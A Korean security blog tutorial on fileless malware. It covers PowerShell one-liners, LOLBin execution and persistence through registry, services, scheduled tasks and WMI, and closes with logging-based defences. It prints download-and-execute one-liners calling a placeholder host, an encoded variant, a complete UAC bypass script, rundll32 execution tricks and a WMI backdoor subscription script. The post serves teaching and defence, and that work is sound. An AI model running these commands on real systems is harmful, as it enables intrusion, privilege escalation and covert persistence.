0. 목차
Contents
1. 소개
1.1 배경
공격자는 네트워크를 통해 직접 접근이 어려운 경우 이메일이나 인터넷을 통해 악성 파일을 유입시키는 방법을 선택하게 된다. 이에 대응하기 위해 악성 파일을 탐지 및 차단하여 삭제하는 AV(Anti-Virus)
솔루션(aka. 백신)을 이용한다. 다시 공격자 입장에서 생각해보면 AV는 주로 파일을 대상으로 동작하기 때문에 이를 회피하는 전략을 사용하게 된다. 여러 공격 방법이 있는데 이 중 하나가 바로 파일을 사용하지 않는 기법을 이용한 악성코드인 파일리스 멀웨어
를 활용하는 것이다.
공격자는 추가적으로 AV에 탐지되지 않더라도 방어자가 포렌식을 통한 공격 정보를 파악할 수 있어 최대한 흔적을 제거하기 위해 안티 포렌식(Anti-forensic)
을 사용한다. 이러한 공격 유형은 파일이 존재하지 않거나 흔적이 제거되어 있어 분석하기가 어렵다. 따라서 이에 대응하기 위해 나온 것이 악성 파일이 대상이 아닌 행위에 집중하는 EDR(Endpoint Detection and Response)
유형의 제품이 등장하게 되었다.
요약) 공격자는 기존의 AV솔루션을 회피하고 최대한 흔적을 남기지 않도록 Fileless기법을 사용한다. 기존의 보안 솔루션으로는 이러한 유형의 공격을 탐지하기 어렵기 때문에 이를 대응하고자 행위에 집중하는 EDR제품이 등장
Fileless기법에도 여러 공격 유형이 있는데 여기서는 LOL도구 중 하나인 powershell 스크립트를 이용한 기법에 대해서 자세히 다루도록 한다.
Fileless Techniques )
① Reflective DLL Injection
: Malware Dll을 메모리에 로드
② Memory exploit
: kernel memory 보안취약점 활용
③ Script-based techniques
: powershell, JavaScript, VBScript, ...
④ WMI persistence
: 다양한 방법이 존재함(밑에서 설명)
1.2 파일리스(Fileless)기법
- 일반적인 악성코드는 실행파일(PE)형태를 가지지만, 파일리스는 운영체제에서 제공하는 스크립트 엔진을 사용해 악성행위를 수행
- 즉, 따로 디스크에 파일 형태로 저장되지 않고 메모리에 바로 실행 가능한 형태의 공격기법을 의미한다.
1) AVT(Advanced Volatile Threat)
APT 공격은 많이 접해봤을 것이다. AVT는기존의 APT공격에 파일리스 유형의 기법이 사용되어 이를 반영해 AVT라고 부른다. 단어 뜻을 그대로 풀이해보면 "지능형 휘발성 위협"
인데 이는 공격을 수행하고 공격 흔적을 지우는 휘발성 메모리 공격을 뜻한다.
위에서 설명했듯이 AVT공격에는 파일리스 기법이 활용되는데 공격자는 타겟 시스템에 흔적을 남기지 않도록 메모리에서만 동작하는 인 메모리 멀웨어(In-memory malware)
와 LOL(Living Off The Land)
도구를 사용한다.
+) LOLBAS Project
Living off the Land기법에 이용될 수 있는 모든 바이너리, 스크립트 및 라이브러리를 문서화하는 프로젝트
2) 사용 이유
① 탐지 회피
- 파일이 존재하지 않아 스캔할 대상이 없어 AV 솔루션에 탐지 되지 않음
- 화이트 프로세스만 동작 가능하도록 제어하는 보안 솔루션에서도 LOL 도구를 이용한 파일리스 기법이 사용되면 정상으로 판단할 수 있음
② 추적 회피
- 파일이 존재하지 않아 파일 해시 값을 구할 수 없음
- 이는, 이미 알려진 악성코드 해시 값과 비교할 수 없다는 뜻(ex. Virus Total)
- 이외에도 추적을 회피하기 위해 저장되는 흔적들을 최소화 및 삭제
3) 문제점
위에서 설명했듯이 파일리스 형태의 멀웨어는 디스크에 저장되지 않고 바로 메모리에 올라온 상태이기 때문에 재부팅하는 경우 사라지게 된다. 따라서 공격자는 지속적으로 시스템에 대한 제어권을 얻기 위해 재부팅되도 멀웨어가 동작할 수 있도록 지속성(persistence)
전략을 선택한다.
뒤에서 어떠한 지속성 전략을 가질 수 있는지 살펴보도록 하겠다.
2. 파일리스(Fileless) 공격
2.1 공격 절차
① 공격자가 타겟 시스템 선정 후 다양한 Attack Vector를 통해 자바스크립트나 VBScript를 실행하게 하여 런처 역할을 할 수 있는 프로세스를 실행시킨다.
② 지속적으로(persistence) Powershell Oneliner가 실행할 수 있도록 Registry항목을 만들거나 WMI 객체를 생성한다.
③ Powershell Oneliner가 실행됨에 따라 메모리 내에서 악성코드가 실행됨
2.2 Powershell 예제 및 옵션
1) Powershell 실행 정책
Powershell은 리눅스에서 사용하는 기본 shell과 같이 동작하듯이 윈도우에서 동작하는 스크립트 언어이다. .Net Framework에서 제작되어 .Net을 지원하여 다양한 명령어를 통해 Window 시스템 안에서 다양한 작업을 할 수 있다. 하지만 기본적으로 Powershell은 "Restricted"로 설정되어 Window 시스템에서 Powershell 스크립트가 실행되지 않도록 구성되어 있다.
- Powershell 보안정책으로 신뢰할 수 없는 스크립트 파일 직접 실행 불가
파워쉘 실행 정책 참고)
다음 사이트에서 "Restricted"로 실행 정책이 설정되어있어도 우회할 수 있는 방법 15가지를 소개하고 있다. 참고...
Powershell 실행 정책 우회하는 15가지 방법)
2) Powershell Oneliner Example
powershell -w 1 -nop -c "iex(New-Object Net.WebClient).DownloadString('https://test/test.txt')"
① -w
: 1 또는 hidden이라는 값을 주면 화면에 표시되지 않고 백그라운드 프로세스로 실행시킬 수 있음
② -nop
: 사용자의 Profile Script의 위치는 파워쉘에서 $profile을 입력하면 확인할 수 있다. Profile Script는 파워쉘 실행 시 자동으로 실행되는데 -NoProfile("-nop", "-NoP")은 이것을 실행시키지 않게 함
③ -c
: 파라미터를 통해 스크립트 문자열을 전달
④ IEX(Invoke-Expression)
: 해당 커맨드는 인자로 전달된 문자열을 코드로 실행해주는 기능을 한다. 해당 커맨드는 파워쉘로 파일리스 공격을 가능하게 해주는 핵심이다. 파일 없이 공격자가 원하는 기능을 자유롭게 실행시킬 수 있기 때문이다.
⑤ New-Object
: System.Net.WebClient 객체를 생성하는 역할
⑥ Net.WebClient.DownloadString
: 파워쉘 스크립트는 닷넷 라이브러리를 사용할 수 있어 OS에서 제공하는 대부분의 작업이 가능하다. 파일리스를 공격을 위한 파워쉘 원 라이너에서는 스크립트를 다운로드하기 위해 Net.WebClient.DownloadString함수가 주로 사용된다. 이 스크립트는 파워쉘 스크립트 문자열을 다운로드해 실행하는 기능을 수행한다.
추가 옵션)
powershell.exe -enc cG93ZXJzaGVsbCAtbm9wIC1jICJpZXgoTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50KS5Eb3dubG9hZFN0cmluZygnaHR0cHM6Ly90ZXN0L3Rlc3QudHh0Jyki
-enc
: base64로 인쾽된 문자열을 명령어로써 받아들인다. 코드 내에서도 추가로 base64 인코딩이나 압축, 암호화 등을 구현할 수 있어 공격자는 코드 탐지 및 분석을 방해하기 위한 난독화 방법을 사용할 수 있다.
이러한 파워쉘 원 라이너들은 LNK파일, 엑셀, 파워포인트, 등등을 이용하여 실행할 수 있다.
+) 파워쉘 원라이너를 이용한 UAC Bypass
# powershell -c "(Get-Content .\uac1.ps1)|iex"
$program = "cmd /k whoami /groups | find `"High`" && Echo I am running high privilege"
New-Item "HKCU:Software\Classes\ms-settings\shell\open\command" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\Classes\ms-settings\shell\open\command" -Name "(default)" -Value $program -Force
Set-ItemProperty -Path "HKCU:Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Start-Process "C:\Windows\System32\ComputerDefaults.exe" -WindowStyle Hidden
Start-Sleep 2
Remove-Item "HKCU:Software\Classes\ms-settings\shell\open\command" -Force
+) 파워쉘 원라이너를 이용한 Download Script
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://test/test.txt')"
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://test/test.txt')|iex"
+) run32.dll을 이용하여 calc.exe 실행
rundll32.exe url.dll,FileProtocolHandler calc.exe
rundll32.exe url.dll,FileProtocolHandler file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
rundll32.exe url.dll,OpenURL file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
rundll32.exe pcwutl.dll,LaunchApplication calc.exe
rundll32.exe zipfldr.dll,RouteTheCall calc.exe
rundll32.exe zipfldr.dll,RouteTheCall file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
rundll32 advpack.dll, RegisterOCX "cmd.exe /c calc.exe"
rundll32.exe advpack.dll,RegisterOCX calc.exe
3. 지속성(Persistence)
지속성(Persistence)전략
이란 공격자가 지속적으로 시스템에 대한 제어권을 얻어 유지하기 위한 전략을 의미한다. 위에서 설명했듯이 파일리스 기법은 파일 형태로 저장되지 않고 메모리에서 바로 실행된다.
따라서 최소한의 악성코드를 시스템에 남기고 재부팅 후에도 지속적인 제어권 유지시키기 위해 레지스트리, 서비스 스케쥴러, WMI(Windows Management Instrumentation) 등 OS에서 제공하는 기능을 이용한다. (추가로, 디스크 파일 시스템 외부, 사용되지 않는 슬랙 영역, HDD 펌웨어 등 OS 괸리 영역을 벗어난 외부에도 저장될 수 있다.)
예를 들면 멀웨어 동작을 수행하는 powershell 원 라이너
를 레지스트리 값에 넣어 지속적으로 유지시킬 수 있다.
3.1 지속성 전략
다음은 파워쉘 원 라이너를 등록하여 시스템 재부팅 후에도 지속적으로 동작시킬 수 있도록 하는 전략이다.
1) 레지스트리
- 파워쉘 스크립트로 레지스트리의
Run키
에 파워쉘 원 라이너를 등록할 수 있음 →HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
, 이외에도 자동 실행되는데 사용되는 다양한 키가 있음
Run키
는 윈도우 자동 시작을 위한 기능이며 관리 작업에 유용하게 쓰일 수 있고 악성코드에서도 유용하게(?) 사용한다.
- MS에서 제공해주는
autoruns
툴을 이용하면 시스템 시작시 자동 실행되는 다양한 등록 값에 대한 정보를 확인할 수 있다. 요거를 통해 파워쉘 원 라이너가 레지스트리에 등록되는 것을 확인할 수 있음
2) 서비스
sc
를 이용해 서비스에 파워쉘 원 라이너를 등록
- cmd 또는 Powershell에서 간단히
sc(Service Control)
명령어를 통해 윈도우 서비스를 등록, 삭제, 시작, 중지, 또는 서비스 시작 유형을 변경할 수 있음
- 특히 서비스 시작 유형에서 auto(자동)이 있는데 요거를 사용하면 컴퓨터를 재시작할 때 로그인 된 사용자가 없어도 자동으로 실행될 수 있음
- 따라서, 부팅 시마다 파워쉘 원 라이너가 동작할 수 있다.
3) 작업 스케쥴러
schtasks
를 이용해 작업 스케쥴러에 파워쉘 원 라이너를 등록할 수 있음
- 공격자는 이를 통해 스케쥴러의 실행 시점이나 주기를 지정할 수 있음
4) WMI
WMI(Window Mangement Instrumentation)
는 Windows OS에서 로컬 및 원격으로 데이터 관리, 운영 및 관리를 위한 내부 인프라 구조이다. 이를 통해 시스템의 다양한 정보를 얻거나 시스템 관리에 필요한 행동을 취할 수 있다.
WMI를 주로 프로세스, 사용자 계정과 같은 시스템 정보를 수집하는 용도로 사용해왔으며 이 밖에도, 이벤트 필터와 이벤트 컨슈머를 작업 스케쥴러에 등록하는 것처럼 활용할 수 있다.
위 사진은 WMI의 구성요소를 나타낸 것이며 Clients단에서 실행될 수 있는 유틸리티로 wmic.exe
가 존재한다. WMI를 제어하는 방법은 여러가지가 존재하는데 그 중 wmic.exe
를 이용한 방법이 있다. WMIC(Windows Management InstrumentationCommand-line)
은 WMI와 상호작용할 수 있게 하는 명령줄 인터페이스를 제공하여 WMI Objects에 대한 별칭을 사용하거나 복잡한 쿼리를 실행할 수 있게 도와준다.
wmic를 이용한 예제)
Persistence전략에서도 wmic를 통해서도 파워쉘 원 라이너를 등록하는 방법을 활용할 수 있다.
Permenant Event Subscript을 이용한 자동 실행)
WMI 기능 중 하나인 Permanent Event Subscription
은 Event Query
를 활용하게 되며 해당 기능을 통해 시스템 내에서 발생하는 이벤트 중 특정 조건을 가진 이벤트가 발생할 때마다 특정 로직을 실행할 수 있게 된다.
Permanent Event Subscription
을 시스템 상에서 등록하기 위해 기본적으로 관리자 권한이 필요하며 WMI 트리거는 다음 세 가지로 구성된다.
① Event Filter
(트리거 이벤트를 찾는 역할)
- WMI의 EventFilter클래스를 사용하여 이벤트 필터 객체를 생성
- 이벤트 필터 객체에는 가장 중요한 정보인 Query가 들어감
- Query에는 Event Query가 들어가게 되는데 로직을 실행하게 될 트리거가 되는 이벤트에 대한 WQL Event Query가 들어감
② Event Consumer
(필터가 성공적으로 일치하면 실행하는 역할)
- WMI의 EventConsumer 종류 중 하나를 사용하여 이벤트 컨슈머 객체를 생성
- 공격자들이 자주 사용하는 Consumer
ActiveScriptEventConsumer
: 이벤트가 전달되면 지정된 스크립트 실행
CommandLineEventConsumer
: 이벤트가 전달되면 명령 줄에서 일련의 명령을 실행
- 파워 쉘 원라이너가 포함된 Event Consumer를 등록
③ Bindings
(필터가 일치할 때마다 실행되는 Consumer를 연결하는 역할)
- WMI의 FilterToConsumerBinding클래스를 사용하여 바인딩 객체 생성
- Event Filter와 Event Consumer를 바인딩 후 WMI에 등록함으로써, Permanent Event Subscription 활성화
- 최종적으로 이벤트가 발생했을 때 지정된 이벤트 컨슈머 실행
example)
$Path = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
$Name = "Registry Backdoor"
$Value = "C:\evil.exe"
$Command = "powershell.exe -Command Set-ItemProperty $path -Name $name -Value $value"
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/cimv2'
Name = "Backdoor Registry Filter"
Query = "SELECT * FROM RegistryValueChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath=''SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\'' AND ValueName = '$name'"
QueryLanguage = 'WQL'
}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{
Name = "Backdoor Registry Consumer"
CommandLineTemplate = $Command
}
$Binding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $Filter
Consumer = $Consumer
}
이외에도 다음 링크에서 WMI를 이용한 공격 사례에 대해서 자세하게 설명되어 있다. 크..
4. 대응 방안
위와 같이 파워쉘 원 라이너 문자열이나 지속성 전략을 사용하기 위해 시스템에 등록하는 스크립트를 단순히 악성이다라고 결론짓기에는 명확한 정보가 없어 쉽게 판단을 내릴 수 없다. 따라서, 파일리스 공격에 대응하기 위해서는 의심 행위들을 악성 정보에 기반하여 실시간 탐지 및 차단해야 할 것이다. 이와 같은 개념이 반영된 솔루션으로 EDR제품이 존재한다. 하지만, EDR제품이 없는 경우라면 간단한 설정 및 프로그램으로 로깅을 강화해 흔적을 최대한 확보하여 추후 대응할 수 있도록 활용해야 한다.
1) 로깅 - 파워쉘 스크립트 블록 로깅
gpedit.msc(로컬 그룹정책 편집기)를 통해 다음과 같이 설정하면 파워쉘 원 라이너가 실행하게 되면 화면에 파워쉘 원 라이너의 스크립트를 이벤트 로그에서 확보할 수 있다.
[ gpedit.msc ] - [ 컴퓨터 구성 ] - [ 관리 템플릿 ] - [ 윈도우 구성요소 ] – [ 윈도우 파워쉘 ] - [ 파워쉘 ] [ 스크립트 블록 로깅 켜기 ]
2) 로깅 - Sysmon
MS에서 제공하는 Sysmon을 통해 Process, Remote Thread, File, Registry, Pipe, WMI, Network 등의 이벤트를 로깅할 수 있다. 기본 값으로 실행하는 경우에는 이 이벤트들이 모두 기록되지 않으므로 XML형식의 설정 파일을 이용하여 필요한 이벤트가 로깅되도록 필터를 구성한다.
Sysmon Event ID)
5. 참고자료
5.1 Fileless
5.2 powershell 옵션에 관한 것
Uploaded by Notion2Tistory v1.1.0